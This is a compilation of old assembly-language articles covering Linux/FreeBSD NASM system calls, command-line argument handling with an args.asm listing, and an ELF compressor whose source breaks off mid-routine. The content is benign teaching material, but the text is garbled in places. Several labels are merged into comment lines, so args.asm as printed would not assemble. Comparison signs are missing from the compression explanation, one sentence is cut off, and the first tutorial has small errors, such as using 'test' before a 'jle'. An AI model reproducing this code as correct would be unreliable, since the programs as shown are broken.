This is where the actual assembly code is written. The term "self modifying
code" means a program which modifies this section while being executed.


In The Beginning ...
--------------------
The next thing you probably noticed while looking at the source to various
assembly programs, there always seems to be "global _start" or something
similar at the beginning of the .text section. This is the assembly program's
way of telling the kernel where the program execution begins. It is exactly, to
my knowledge, like the main function in C, other than that it is not a
function, just a starting point.


The Stack and Stuff
-------------------
Also like in C, the kernel sets up the environment with all of the environment
variables, and sets up **argv and argc. Just in case you forgot, **argv is an
array of strings that are all of the arguments given to the program, and argc
is the count of how many there are.  These are all put on the stack. If you
have taken Computer Science 101, or read any type of introductory computer
science book, you should know what a stack is. It is a way of storing data so
that the last thing you put in is the first that comes out. This is fine and
dandy, but most people don't seem to grasp how this has anything to do with
their computer. "The stack" as it is ominously referred too, is just your RAM.
That's it.  It is your RAM organized in such a way, so that when you "push"
something onto "The stack", all you are doing is saving something in RAM. And
when you "pop" something off of "The stack", you are retrieving the last thing
you put in, which is on the top.

Ok, now let's look at some code that you are likely to see.

          section .text           ; declaring our .text segment
                  global  _start  ; telling where program execution should start

          _start:                 ; this is where code starts getting exec'ed
                  pop     ebx     ; get first thing off of stack and put into ebx
                  dec     ebx     ; decrement the value of ebx by one
                  pop     ebp     ; get next 2 things off stack and put into ebx
                  pop     ebp

What does this code do? It simply puts the first actual argument into the ebx
register. Let's say we ran the program on the command line as so:

          $ ./program 42 A

When where are on the _start line, the stack looked something like this:
          -----------
          | 3       |     The number of arguments, including argv[0],
          |         |     which is the program name
          -----------
          |"program"|     argv[0]
          -----------
          | "42"    |     argv[1] NOTE: This is the character "4" and "2",
          |         |     not the number 42
          -----------
          | "A"     |     argv[2]
          -----------

So, the first instruction, "pop ebx", took the 3, and put it into ebx.
Then we decrement it by one, because the program name isn't really an argument.

Depending on if you need to later use the argument count later on, you will see
other arguments put into either the same register or a different one.

Now, "pop ebp" puts the program name into ebp, and then the next "pop ebp"
overwrites it, and puts "42" into ebp. The last value of ebp is not preserved,
and since you have popped it off of the stack, it is gone forever.


Doing more interesting things
-----------------------------
Moving on, how exactly do you interact with the rest of the system? You know
how to manipulate the stack, but how to you get the current time, or make a
directory, or fork a process, or any other wonderful thing a Unix box can do? I
am pleased to introduce you to the "system call". A system call is the
translator that lets user-land programs (which is what you are writing), talk to
the kernel, who is in kernel-land, of course. Each syscall has a unique number,
so that you can put it into the eax register, and tell the kernel "Yo, wake up
and do this", and it hopefully will. If the syscall takes arguments, which most
do, these go into ebx,ecx,edx,esi,edi,ebp , in that order.

Some example code always helps:

        mov     eax,1           ; the exit syscall number
        mov     ebx,0           ; have an exit code of 0
        int     80h             ; interrupt 80h, the thing that pokes the
                                ; kernel and says, "do this"

The preceding code is equivalent to having a "return 0" at the end of your main
function. Ok, ok, still not very useful, but we are getting there.

A more useful example:

        pop     ebx             ; argc
        pop     ebx             ; argv[0]
        pop     ebx             ; the first real arg, a filename


        mov     eax,5           ; the syscall number for open()
                                ; we already have the filename in ebx
```

```
        mov     ecx,0           ; O_RDONLY, defined in fcntl.h

        int     80h             ; call the kernel

                                ; now we have a file descriptor in eax

        test    eax,eax         ; lets make sure it is valid
        jns     file_function   ; if the file descriptor does not have the
                                ; sign flag ( which means it is less than 0 )
                                ; jump to file_function

        mov     ebx,eax         ; there was an error, save the errno in ebx
        mov     eax,1           ; put the exit syscall number in eax
        int     80h             ; bail out
```

Now we are starting to get somewhere. You should be starting to realize that there is no black magic or voodoo in assembly programming, just a very strict set of rules. If you know how the rules work, you can do just about everything. Though I haven't tried it, I have seen network coding in assembly, console graphics (intros!), and yes, even X windows code in assembly.

So where do find out all of the semantics for all of the various system calls? Well first, the numbers are listed in asm/unistd.h in Linux, and sys/syscall.h in the *BSD's. To find out information about each one, such as what arguments they take and what values they return, look no further that your man pages! I will hold your hand in finding out about the next syscall we are going to use, read().

"man read" didn't give you exactly what you wanted did it? That is because program manuals and shell manuals are shown before the programming manuals are. If you are using bash, you probably are looking at the BASH_BUILTINS(1) man page. To get to what you really want, try "man 2 read". Now you should be looking at sections like SYNOPSIS, DESCRIPTION, DESCRIPTION, ERRORS and a few others. These are the most important. Take a look at synopsis, it should look like:

```
        ssize_t read(int fd, void *buf, size_t count);
```

NOTE: ssize_t and size_t are just integers.

The first argument is the file descriptor, followed by the buffer, and then how many bytes to read in, which should be however long the buffer is. For the best performance, use 8192, which is 8k, as your count. Make your buffer a multiple of this, 8192 is fine. Now you know what to put in your registers. Reading the RETURN VALUE section, you should see how read() returns the number of bytes it read, 0 for EOF, and -1 for errors.

```
file_function:
           mov     ebx,eax         ; sys_open returned file descriptor into eax
           mov     eax,3           ; sys_read
                                ; ebx is already setup
           mov     ecx,buf         ; we are putting the ADDRESS of buf in ecx
           mov     edx,bufsize     ; we are putting the ADDRESS of bufsize in edx

           int     80h             ; call the kernel

           test    eax,eax         ; see what got returned
           jz      nextfile        ; got an EOF, go to read the next file
           js      error           ; got an error, bail out

                                   ; if we are here, then we actually read some
                                   ; bytes
```

Now we have a chunk of the file read (up to 8192 bytes), and sitting in what you would call an array in C. What can you do now? Well, the first thing that comes to mind is print it out. Wait a sec, there is no man page for printf in section 2. What's the deal? Well, printf is a library function, implemented by good ol' libc. You are going to have to dig a little deeper, and use write(). So now you looking at the man page. write() writes to a file descriptor. What the hell good does that do me? I want to print it out! Well, remember, everything in Unix is a file, so all you have to do is write to STDOUT. From /usr/include/unistd.h, it is defined as 1 . So the next chunk of code looks like:

```
           mov     edx,eax         ; save the count of bytes for the write syscall
           mov     eax,4           ; system call for write
           mov     ebx,1           ; STDOUT file descriptor
                                ; ecx is already set up
           int     80h             ; call kernel

           ; for the program to properly exit instead of segfaulting right here
           ; ( it doesn't seem to like to fall off the end of a program ), call
           ; a sys_exit

           mov     eax,1
           mov     ebx,0
           int     80h
```

What you have now just written is basically "cat", except it only prints the first 8192 bytes.

Portability

In the preceding section, you saw how the call the kernel in Linux with NASM. This is fine if you are never ever going to use another operating system, and you enjoy looking up the system kernel numbers, but is not very practical, and extremely unportable. What to do? There is a great little package called asmutils started by Konstantin Boldyshev, who runs http://www.linuxassembly.org. If you haven't read all of the good documentation on that site, that should be your next step. Asmutils provides an easy to use and portable interface to doing system calls in whichever Unix variant you use (and even has support for BeOS.) Even if you aren't interesting in using these Unix utilities that are rewritten in assembly, if you want to write portable NASM code, you are better off using it's header files than rolling your own. With asmutils, your code will look like this:

```
        %include "system.inc"   ; all the magic happens here

        CODESEG                 ; .text section

        START:                  ; always starts here

        sys_write STDOUT,[somestring],[strlen]

        END                     ; code ends here
```

This is much more readable then doing everything by system call number, and it will be portable across Linux,FreeBSD,OpenBSD,NetBSD,BeOS and a few other lesser known OS's. You can now use system calls by name, and use standard constants like STDOUT or O_RDONLY, just like in C. The "%include" statement works precisely as it does in C, sourcing the contents of that file.

To learn more about how to use asmutils, read the Asmutils-HOWTO, which is in the doc/ directory of the source. Also, to get the latest source, use the following commands:

```
export CVS_RSH=ssh
cvs -d:pserver:anonymous@cvs.linuxassembly.org:/cvsroot/asm login
cvs -z3 -d:pserver:anonymous@cvs.linuxassembly.org:/cvsroot/asm co asmutils
```

This will download the newest, bleeding edge source into a subdirectory called "asmutils" of your current directory. Take a look at some of the simpler programs, such as cat,sleep,ln,head or mount, you will see that there isn't anything horrendously difficult about them. head was my first assembly program, I made extra comments on purpose, so that would be a good place to start.

Debugging

Strace will definitely by your friend. It is the easiest tool to use to debug your problem. Most of the time when writing in assembly, other that syntax errors, you will just get a segmentation fault. This provides you with a ZERO useful information. With strace, at least you will see after which system call your program is choking. Example:

```
        $ strace ./cal2
        execve("./cal2", ["./cal2"], [/* 46 vars */]) = 0
        read(1, "", 0)                          = 0
        --- SIGSEGV (Segmentation fault) ---
        +++ killed by SIGSEGV +++
```

Now you know to look after your first read system call. But it starts getting tricky when you have lots of pure assembly, which strace cannot show. That's when gdb comes into play. There is some very good information about using gdb and enabling debugging information in NASM in the Asmutils-HOWTO, so I won't reproduce it here. For a quick and dirty solution, you could do something like this:

```
        %define notdeadyet      sys_write STDOUT,0,__LINE__
```

Now you can litter the source with notdeadyet's, and hopefully see where things are going astray with the help of strace. Obviously this is not practical for complex bugs or voluminous source, but works great for finding careless mistakes when you are starting out. Example:

```
        $ strace ./cal2
        execve("./cal2", ["./cal2"], [/* 46 vars */]) = 0
        write(1, NULL, 16)                      = 16
        write(1, NULL, 26)                      = 26
        write(1, NULL, 41)                      = 41
        --- SIGSEGV (Segmentation fault) ---
        +++ killed by SIGSEGV +++
```

Now we know that we are still going on line 41, and the problem is after that.

Next ?

Now it is your turn to explore the insides of your operating system, and take pride in understanding what's really going on under the covers.

Reference

Places to get more information:

- Linux Assembly - http://www.linuxassembly.org
- NASM Manual (available in doc/html directory of source)
- Assembly Programming Journal - http://asmjournal.freeservers.com/
- Mammon_'s textbase - http://www.eccentrica.org/Mammon/sprawl/textbase.html
- Art Of Assembly - http://webster.cs.ucr.edu/Page_asm/ArtOfAsm.html
- Sandpile - http://www.sandpile.org
- comp.lang.asm.x86
- NASM - http://www.cryogen.com/Nasm
- Asmutils-HOWTO - doc/ directory of asmutils

Feedback

Feedback is welcome, hopefully this was of some use to budding Unix assembly programmers.

Availability

The most current version of this document should be available at http://www.leto.net/papers/writing-a-useful-program-with-nasm.txt .

Appendix : Jumps

When I first began looking at assembly source code, I saw all these crazy

```
instructions like "jnz" and the like. It looked like I was going to have to
remember the names of a whole slew of inanely named instructions. But after a
while it finally clicked what they all were. They are basically just "if
statements" that you know and love, that work off of the EFLAGS register. What
is the EFLAGS register? Just a register with lots of different bits that are
set to zero or one, depending on the previous comparison that the code made.

Some code to set the stage:

        mov     eax,82
        mov     ebx,69

        test    eax,ebx
        jle     some_function

What on earth is "jle"? Why it's "Jump if Less than or Equal." If eax was less
than or equal to ebx, code execution will jump to "some_function", if not, it
keeps chugging along. Here is a list which will hopefully shed some light on
this part of assembly that was mysterious to me when I began. Some of these are
logically the same, but are provided because is some situations one will be
more intuitive than the other.

Jump                 Meaning            Signedness (S or U)
-----------------------------------------------------------
ja      | Jump if above                 |       U
jae     | Jump if above or Equal        |       U
jb      | Jump if below                 |       U
jbe     | Jump if below or Equal        |       U
jc      | Jump if Carry                 |
jcxz    | Jump if CX is Zero            |
je      | Jump if Equal                 |
jecxz   | Jump if ECX is Zero           |
jz      | Jump if Zero                  |
jg      | Jump if greater               |       S
jge     | Jump if greater or Equal      |       S
jl      | Jump if less                  |       S
jle     | Jump if less or Equal         |       S
jmp     | Unconditional jump            |
jna     | Jump Not above                |       U
jnae    | Jump Not above or Equal       |       U
jnc     | Jump if Not Carry             |
jncxz   | Jump if CX Not Zero           |
jne     | Jump if Not Equal             |
jng     | Jump if Not greater           |       S
jnge    | Jump if Not greater or Equal  |       S
jnl     | Jump if Not less              |       S
jnle    | Jump if Not less or Equal     |       S
jno     | Jump if Not Overflow          |
jnp     | Jump if Not Parity            |
jns     | Jump if Not signed            |
jnz     | Jump if Not Zero              |
jo      | Jump if Overflow              |
jp      | Jump if Parity                |
jpe     | Jump if Parity Even           |
jpo     | Jump if Parity Odd            |
js      | Jump if signed                |
jz      | Jump if Zero                  |
-----------------------------------------------------------



::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................THE.UNIX.WORLD
                                                                Command Line in FreeBSD
                                                                by G. Adam Stanislav


In my Issue 8 article I mentioned I did not know how command line parameters
(or arguments) were passed to programs under FreeBSD. I have received some
feedback, both from the FreeBSD community and APJ readers.

Thanks to that feedback, I can now pass this information on to you. Further,
this information should be valid, more or less, for all 386 based Unix and
Unix-like operating systems. At any rate, if your Unix variety does not come
with the information on its command line parameters, chances are that, if you
adjust my sample code to use the kernel interface of your OS, it will work just
fine.


Code startup
------------
Unix is much more security-conscious than MS DOS and MS Windows. While
DOS/Windows assembly language programmers may be used to the operating system
loading their code and then CALLing it (so you can exit with a simple RET, and
possibly crash the system), Unix creates a new process for each program. This
process is separate from the kernel and from all other processes. Hence, the
system does not CALL your code, it JMPs to it. If you issue a RET, you will
crash your program, but Unix will continue running unharmed. At least that's
the theory. However, under FreeBSD it is the practice as well: I tried it and
can vouch for it.


The top of the stack
--------------------
Before the Unix system jumps to your code, it pushes some information on the
top of the stack: Your stack, that is, not system stack, so you can access it
all from your own code. Here is what the stack contains, starting at the top:

        number of arguments ("argc")
        argument 0
        argument 1 ...
```

```
        argument n (n = argc - 1)
        NULL pointer
        environment 0
        environment 1 ...
        environment n
        NULL pointer
```

Not all of these are necessarily there (e.g., if the program was called with no arguments). However, the number of arguments, argument 0, and the two NULL pointers are always present.

Argument 0 is not a command line parameter in the sense DOS programmers are used to find. Instead, it is the name of the program. C programmers will find it as the familiar argv[0].

Another important difference between DOS and Unix is that DOS programs just give you the full command line, i.e., whatever appears after the name of the program, including any leading and trailing blanks. It is then up to the programmer to strip all extra blanks.

Compared to that, parsing the Unix command line is much simpler as the system does some of the hard work for you. The individual arguments are separated, and usually contain no leading/trailing blanks. When they do, they are there because the program caller wanted them there.

Let me illustrate. Suppose the user has typed the following command: ./args Hello, world. Here I come!

In that case, the top of the stack will look like this:

```
        6 ./args
        Hello,
        world.
        Here
        I
        come!
        0
        environment 0
        environment 1 ...
        environment n
        0
```

The arguments are nicely separated and contain no blanks. Now, suppose the user has typed: ./args Hello, world. "Here I come!"

The top of the stack looks like this:

```
        4 ./args
        Hello,
        world.
        Here I come!
        0
        (etc)
```

This system, besides making it easier to parse, has a great advantage over the DOS way: It has no practical limit on the size of the command line.

Accessing the information

Because your program runs in its own process space, the stack is yours to do with as you please. You can simply save the information in some data structure and leave the stack intact, or you can pop it off as you need it.

The C startup code uses the first approach: It saves the "argc" value in a local variable, the argument 0 in another. It finds the start of the environment variable list and stores it in a global variable. It then calls main, passing that information to it, i.e. main(argc, *argv[], env);

The assembly language program can do that as well, but usually has no need to. If you process the command line at the start of your code, and never need to see it again, you can just pop it off the stack one by one, analyze it, set up any flags or other variables, etc.

I have enclosed a simple assembly language program called args.asm below. All it does is print all the information the FreeBSD system has passed to it. It is useful as an example of one way of accessing the command line arguments (and the environment) by simply popping it off one at a time.

It is also useful as a tool to study what format the arguments are in. For example, running it will show you that the environment is passed to your program in the form of name=value, where name is the name of the environment variable, value is whatever text string is assigned to it.

You can assemble and link the program with NASM:

```
        nasm -f elf args.asm
        ld -o args args.o
        strip args
```

Try running it with and without command line arguments. Try placing the arguments in single and double quotes, try all the nifty things a Unix shell will let you do, such as: ./args $HOME ./args `ls -la` ./args "`ls -la`" ./args '`ls -la`' ./args ./args Hello, world. Here I come! ./args Hello, world. "Here I com

```
; args.asm
;
; Print FreeBSD command line arguments and environment
;
; Copyright 2000 G. Adam Stanislav
; All rights reserved ;---------------------------------------------------------------------------;

section .data

prgmsg  db      'Program name:', 0Ah, 0Ah
tab     db      9
prglen  equ     $-prgmsg
argmsg  db      0Ah, 0Ah, 'Command line arguments:', 0Ah, 0Ah
arglen  equ     $-argmsg
```

```
envmsg  db      0Ah, 'Environment variables:', 0Ah, 0Ah
envlen  equ     $-envmsg
huhmsg  db      "Hmmm... Something's wrong here...", 0Ah
huhlen  equ     $-huhmsg

section .code

what.the.heck:
        ; Print the huhmsg to stderr and abort.
        push    dword huhlen
        push    dword huhmsg
        sub     eax, eax
        mov     al, 2           ; stderr
        push    eax
        add     al, al          ; SYS_write
        push    eax
        int     80h
        ; No need to clean up the stack since we're quitting now.

        sub     eax, eax
        inc     al              ; return 1 (failure), SYS_exit
        push    eax
        push    eax
        int     80h

; ELF programs always start at _start
global  _start
_start:
        ; We come here with "argc" on the top of the stack. Its value
        ; is at least 1. If not, something went seriously wrong.
        pop     ecx             ; ECX = argc
        jecxz   what.the.heck

        ; Print the prgmsg
        sub     eax, eax
        push    dword prglen
        push    dword prgmsg
        inc     al              ; stdout
        push    eax
        push    eax
        mov     al, 4 ;SYS_write
        int     80h
        add     esp, byte 16

        ; Get argv[0], i.e., the program path
        pop     ebx             ; EBX = argv[0]

        ; argv[0] is a NUL-terminated string. We can find its
        ; length by scanning for the NUL.
        sub     eax, eax
        sub     ecx, ecx
        cld
        dec     ecx
        mov     edi, ebx
repne   scasb
        not     ecx
        dec     ecx

        ; Print the string
        push    ecx
        push    ebx
        inc     al                      ; stdout
        push    eax
        push    eax
        mov     al, 4
        int     80h
        add     esp, byte 16

        ; Print the argmsg
        sub     eax, eax
        push    dword arglen
        push    dword argmsg
        inc     al                      ; stdout
        push    eax
        push    eax
        mov     al, 4                   ; SYS_write
        int     80h
        add     esp, byte 16

        ; By now, we have no idea what the value of argc was.
        ; We did not save it because we don't need it.
        ; The top of the stack now contains pointers
        ; to command line arguments (if any), followed
        ; by a NULL pointer.
        ;
        ; We simply print everything before the NULL. .argloop:
        pop     ebx             ; next argument
        or      ebx, ebx
        je .env           ; NULL pointer

        ; Print a tab
        sub     eax, eax
        inc     al
        push    eax
        push    dword tab
        push    eax             ; stdout
        mov     al, 4           ; SYS_write
        push    eax
        int     80h
        add     esp, byte 16

        ; Find the length
        sub     ecx, ecx
        sub     eax, eax
        dec     ecx
```

```
        mov     edi, ebx
repne   scasb
        not     ecx

        ; Append a new line
        mov     byte [edi-1], 0Ah

        ; Print the string
        push    ecx
        push    ebx
        inc     al              ; stdout
        push    eax
        mov     al, 4           ; SYS_write
        push    eax
        int     80h
        add     esp, byte 16
        jmp     short .argloop  ; next .env:
        ; Print the envmsg
        sub     eax, eax
        push    dword envlen
        push    dword envmsg
        inc     al              ; stdout
        push    eax
        push    eax
        mov     al, 4           ; SYS_write
        int     80h
        add     esp, byte 16

        ; The top of the stack now contains pointers to
        ; environment variables, followed by a NULL pointer.
        ; We do what we did for the arguments: .envloop:
        pop     ebx
        or      ebx, ebx
        je .exit

        sub     eax, eax
        inc     al
        push    eax
        push    dword tab
        push    eax
        mov     al, 4
        push    eax
        int     80h
        add     esp, byte 16

        sub     ecx, ecx
        sub     eax, eax
        dec     ecx
        mov     edi, ebx
repne   scasb
        not     ecx
        mov     byte [edi-1], 0Ah

        push    ecx
        push    ebx
        inc     al
        push    eax
        mov     al, 4
        push    eax
        int     80h
        add     esp, byte 16
        jmp     short .envloop .exit:
        sub     eax, eax        ; return 0 (success)
        push    eax
        inc     al              ; SYS_exit
        push    eax
        int     80h ;--- End of program
```

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::..............................................THE.UNIX.WORLD
                                                                Compressing data
                                                                by Feryno Gabris
```

```
First, intro about decompress. It's needed a routine called "get_next_bit".
Here are 3 examples: ;-----
get_next_bit:
        add     dl,dl
        jnz     no_new_byte
        lodsb
        mov     dl,al
        adc     dl,dl
no_new_byte:
        ret ;-----
get_next_bit:
        shl     bx,1
        jnz     no_new_word
        mov     bx,word [esi]
        inc     esi
        inc     esi
        rcl     bx,1
no_new_word:
```

```
        ret ;-----
get_next_bit:
        shl     ebp,1
        jnz     no_new_dword
        lodsd
        rcl     eax,1
        xchg    ebp,eax
no_new_dword:
        ret ;-----
```

And this is the usage of get_next_bit: ;-----

```
        mov     esi,control_bits_offset
        mov     edi,place_for_store_decompressed_bytes
        cld
        mov     dl,80h
B0:     call    get_next_bit
        jc      L1
L0: ... some decompress instructions ...
        jmp     B0
L1: ... some decompress instructions ...
        jmp     B0

get_next_bit:
        add     dl,dl           ; this is instruction for put next bit to Carry
                                ; highest bit will be become to Carry Flag and
                                ; all lower bits are shifted left by 1
        jnz     no_new_byte
; next 3 instructions handle: all control_bits are processed and removed
        lodsb                   ; load new control_byte with 8 control_bits
        xchg    edx,eax         ; swap to another register only
        adc     dl,dl           ; puth highest control_bit to Carry
                                ; shift all bits left by 1
                                ; recycle highest bit by MOV DL,80h ( bit=1
                                ; become to lower bit (bit 0.) )
no_new_byte:
        ret ;-----
```

Note about two instructions: MOV DL,80h and ADC DL,DL.
MOV DL,80h set up first control_bit, but this isn't true control_bit used for switch decompress between L0 and L1. Binary, 80h = 10000000b and highest bit (bit 7.) of 80h is bit=1 . All other bits=0 (bits 6. 5. 4. 3. 2. 1. 0.).
Highest bit name can be as helper_control_bit. Helper_control_bit is never destroyed until decompress process ends. Helper_control_bit recycle through instruction ADC DL,DL after each loaded bits (8 bits by LODSB, 32 by LODSD) are used (after 8 times call get_next_bit with LODSB - 1st example procedure or 32 times call get_next_bit with LODSD 3nd example procedure).
Image of first call get_next_bit and call get_next_bit after use and remove all control_bits is similar:

Status is: DL register = 80h = 10000000b

Here is instructions run:

```
1.      ADD     DL,DL
        80h + 80h = 00h CarryFlag=1 ZeroFlag=1 (in Carry is helper_control_bit)

2.      LODSB
        load control_byte with 8 control_bits, this instruction dont touch
        Carry

3.      XCHG    EDX,EAX
        swap control_byte to DL register, this instruction don't touch Carry
        (note that instructions PUSH,POP,MOV,XCHG,INC,LODSB,... don't change
        Carry)

4.      ADC     DL,DL
        recycle helper_control_bit, shift all bits left by 1 and new highest
        control_bit become to Carry
```

This may be the most difficult part of decompress for understand. OK, next...
Instructions on L0 and L1 can be as:

```
L0:     MOVSB
        JMP     B0
L1: ... calculate ECX ... calculate EBX (delta, shift)
        PUSH    ESI
        MOV     ESI,EDI
        SUB     ESI,EBX
        REPZ MOVSB
        POP     ESI
        JMP     B0
```

First mode, L0, isn't true decompress mode. Byte isn't compressed and it will be moved only. This mode has bad pack ratio, but must be used for store some bytes that can't be decompressed by L1 mode. It use 1 byte + 1 bit = 9 bits for store 1 byte = 8 bits.

Second mode, L1, is true decompress mode. It calculate ECX number of bytes for decompress and calculate EBX, value that can be named as DELTA or SHIFT. This assume that chain of ECX bytes is on positions [EDI] and [EDI-EBX] in DATA bytes and ASM code like:

```
        MOV     ESI,EDI
        SUB     ESI,EBX
        REPZ CMPSB
```

In data bytes compression process return with ZeroFlag=1 and ECX=0.
It has good pack ratio, better for large chains (big ECX) and small shift (small EBX). Methods for calculate ECX and EBX are similar:

It's lucid that ECX as well EBX aren't zero (ECX0 EBX0) hence highest bit of register is bit=1.

First instruction for calculate ECX setup highest bit=1 and all next bits will be put by call get_next_bit. First instruction is:

```
        MOV     ECX,1
```

or INC ECX if ECX=0.

Next instructions are:

```
        CALL    GET_NEXT_BIT
        ADC     ECX,ECX                 ; as well RCL ECX,1 can be used
```

How to terminate calculate ECX ? Again through use call get_next_bit !
Here is full routine for calculate ECX in decompress:

```
        MOV     ECX,1
LCC0:   CALL    GET_NEXT_BIT
        ADC     ECX,ECX
        CALL    GET_NEXT_BIT
        JC      LCC0
```

A minimal value ECX=2 can be produced by this code. ECX=1 isn't needed because this handle L0 mode (MOVSB) and L0 is more rational (but has bad pack ratio) for pack 1 byte as L1 mode.

Example for calculate ECX=5=101b
Highest bit is by INC ECX and i remove it - binary 01b
Bit sequence for calculate ECX=5 is 01 10 binary.

Calculate ECX=110100b
Remove highest bit (this bit put INC ECX in decompress) - binary 10100b
Bit sequence for calculate ECX is 11 01 11 01 00 binary.

```
Calculate ECX=2=10b. Bit sequence is 0 0 binary.
Calculate ECX=3=11b. Bit sequence is 1 0 binary.
Calculate ECX=4=100b. Bit sequence is 0 1 0 0 binary.
Calculate ECX=5=101b. Bit sequence is 0 1 1 0 binary.
Calculate ECX=6=110b. Bit sequence is 1 1 0 0 binary.
Calculate ECX=7=111b. Bit sequence is 1 1 1 0 binary.
Calculate ECX=8=1000b. Bit sequence is 0 1 0 1 0 0 binary.
Calculate ECX=16=10000b. Bit sequence is 0 1 0 1 0 1 0 0 binary.
Calculate ECX=17=10001b. Bit sequence is 0 1 0 1 0 1 1 0 binary.
Calculate ECX=18=10010b. Bit sequence is 0 1 0 1 1 1 0 0 binary.
Calculate ECX=19=10011b. Bit sequence is 0 1 0 1 1 1 1 0 binary.
```

Calculate EBX has some similar steps but some other steps.
EBX can be EBX=1 and can be done as:

```
        MOV     EBX,1
LCD0:   CALL    GET_NEXT_BIT
        ADC     EBX,EBX
        CALL    GET_NEXT_BIT
        JC      LCD0
        DEC     EBX
```

But by experients, it's often EBX>16 and for EBX 4FFh because this request 2+(3*2)+8+2 = 18 bits and this can be done with 2 times use MOVSB mode (2*9=18 bits).

```
U00:    movsb                   ; require 1 byte = 8 bits
        call    get_next_bit    ; require 1 bit
        jnc     U00
```

It's rational compress 4 bytes with delta > 7CFFh because this request 2+(8*2)+8+(2*2) = 28 bits without, 26 bits with this implementation.

Intro for COMPRESS...

Some equivalents:

```
DECOMPRESS         COMPRESS
MOV DL,80h         CALL o_c_0         ; setup helper_control_bit
CALL GET_NEXT_BIT  CALL PUT_BIT
```

Routines for scan chains, calculate bit request for pack this chain, pack chain, some optimalizations for found better chains are in source code.

Source is ELF compressor, but this isn't universal ELF compressor. It support ELF header included in the source only. This header is enough for LINUX NASM use. You can download sources as well binaries from:

http://feryno.home.sk/projects/compressELF.tar.gz

```
; ----- CUT HERE -----

; fy1ename: a00.asm
; dezkrypt: ASM, ELF, k0mprezz0r, myny, exekutab1e
; Au~tchor: ch lap aj   Feryno
; kompy1e:
; nasm -f bin a00.asm
; chmod +x a00
; example of use
; ./a00 a00 compressed_a00
; this self compress compressor

BITS 32

                org     08048000h

ehdr:                                           ; Elf32_Ehdr
                db      7Fh, 'ELF', 1, 1, 1     ;   e_ident
        times 9 db      0
                dw      2                       ;   e_type
                dw      3                       ;   e_machine
                dd      1                       ;   e_version
                dd      START                   ;   e_entry
```

```
                dd      phdr - $$               ;   e_phoff
                dd      0                       ;   e_shoff
                dd      0                       ;   e_flags
                dw      ehdrsize                ;   e_ehsize
                dw      phdrsize                ;   e_phentsize
phdr:                                                           ; Elf32_Phdr
                dw      1                       ;   e_phnum     ;   p_type
                dw      0                       ;   e_shentsize
                dw      0                       ;   e_shnum     ;   p_offset
                dw      0                       ;   e_shstrndx
ehdrsize        equ     $ - ehdr
                dd      $$                                      ;   p_vaddr
                dd      $$                                      ;   p_paddr
                dd      filesize                                ;   p_filesz
                dd      memsize                                 ;   p_memsz
                dd      111b                                    ;   p_flags
;                       EWR ;Exec,Write,Read
                dd      1000h                                   ;   p_align
phdrsize        equ     $ - phdr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

START:

        pop     ebx     ; pop number of strings in comand line , must be =3
        dec     ebx
        dec     ebx
        dec     ebx     ; set zero flag if after this EBX=0
        pop     ebx     ; offset of first string ( executable file )
        jz      short mode ; number of strings = 3 = executable + file0 + file1
use:    mov     ecx,usage
        xor     edx,edx
        mov     dl,usagesize ;;;     call    WS
        jmp     short ex00

mode:   pop     ebx     ; pop offset of second string (first string, 0, second
                        ; string, 0, third...)

open:   mov     edi,f0h
        cld

; ebx is now pointed to second string in a shell = in_file
open_f: xor     ecx,ecx ; open flags, open for read-only
;       xor     eax,eax
;       mov     al,5    ; sys_open
        db      6Ah,5   ; push dword 5
        pop     eax
        int     80h     ; open , note - return HANDLE in EAX
        or      eax,eax
        jns     short OK_open
        mov     ecx,MEOF
;       xor     edx,edx
;       mov     dl,MEOFS
        db      6Ah,MEOFS       ; push dword MEOFS
        pop     edx ;;;     call    WS
ex00:   jmp     short ex01
OK_open:stosd           ; store file handle

        pop     ebx     ; EBX pointed to second filename out_file
        mov     ecx,111101101b  ; 111 owner can read, write, execute, 101 group
can read, execute, but don't write / search, other 101 as well groups
;       xor     eax,eax
;       mov     al,8    ; sys_creat
        db      6Ah,8   ; push dword 8
        pop     eax
        int     80h     ; creat , note - return HANDLE in EAX
        or      eax,eax
        jns     short OK_creat
        mov     ecx,MECF
;       xor     edx,edx
;       mov     dl,MECFS
        db      6Ah,MECFS       ; push dword MECFS
        pop     edx ;;;     call    WS
ex01:   jmp     short ex02
OK_creat:stosd          ; store file handle

                        ; EDI=f0s
        mov     ebx,dword [edi - 4*2]   ; handle for in_file
        xor     ecx,ecx ; ECX=0 seek 0 bytes
;       xor     edx,edx
;       inc     edx
;       inc     edx     ; EDX=2 seek to end of file + ECX=0 bytes
        db      6Ah,2   ; push dword 2
        pop     edx
;       xor     eax,eax
;       mov     al,13h  ; sys_seek
        db      6Ah,19  ; push dword 19
        pop     eax
        int     80h     ; note - return filesize in EAX
        or      eax,eax
        jns     short OK_seek_to_end
        mov     ecx,MSEEF
;       xor     edx,edx
;       mov     dl,MSEEFS
        push    byte MSEEFS
        pop     edx ;;;     call    WS
ex02:   jmp     short ex03
OK_seek_to_end: ;;;     or      eax,eax ;;;     jz      ex04    ; filesize=0 -> this file needn't compression
        cmp     eax,f0b_size
        jnbe    ex04    ; LIMIT f0b_size OVERFLOW !!!!!!
        cmp     eax,4Ch
        jbe     ex04    ; can't be a ELF executable, ELF header require 4C
                        ; bytes
        stosd           ; store in_file size to f0s_2
        stosd           ; store in_file size to f0s
        push    eax     ; and push it to stack
```

```
        xor     ecx,ecx ; seek 0 bytes
        xor     edx,edx ; seek to begin of file + ECX=0 bytes
;       xor     eax,eax
;       mov     al,13h
        db      6Ah,19  ; push dword 19
        pop     eax
        int     80h
        or      eax,eax
        jns     short OK_seek_to_begin
        mov     ecx,MSEBF
;       xor     edx,edx
;       mov     dl,MSEBFS
        db      6Ah,MSEBFS      ; push dword MSEBFS
        pop     edx ;;;     call    WS
ex03:   jmp     short wsex04
OK_seek_to_begin:

        mov     esi,fy1eObuffer
        mov     edi,f1b

read_f: mov     ecx,esi
        pop     edx     ; pop in_file_size from stack
;       xor     eax,eax
;       mov     al,3    ; sys_read
        db      6Ah,3   ; push dword 3
        pop     eax
        int     80h     ; note - return in EAX number of bytes read (negative
                        ; value if error)
        cmp     eax,edx
        jz      short OK_read
oops:   mov     ecx,MERF
;       xor     edx,edx
;       mov     dl,MERFS
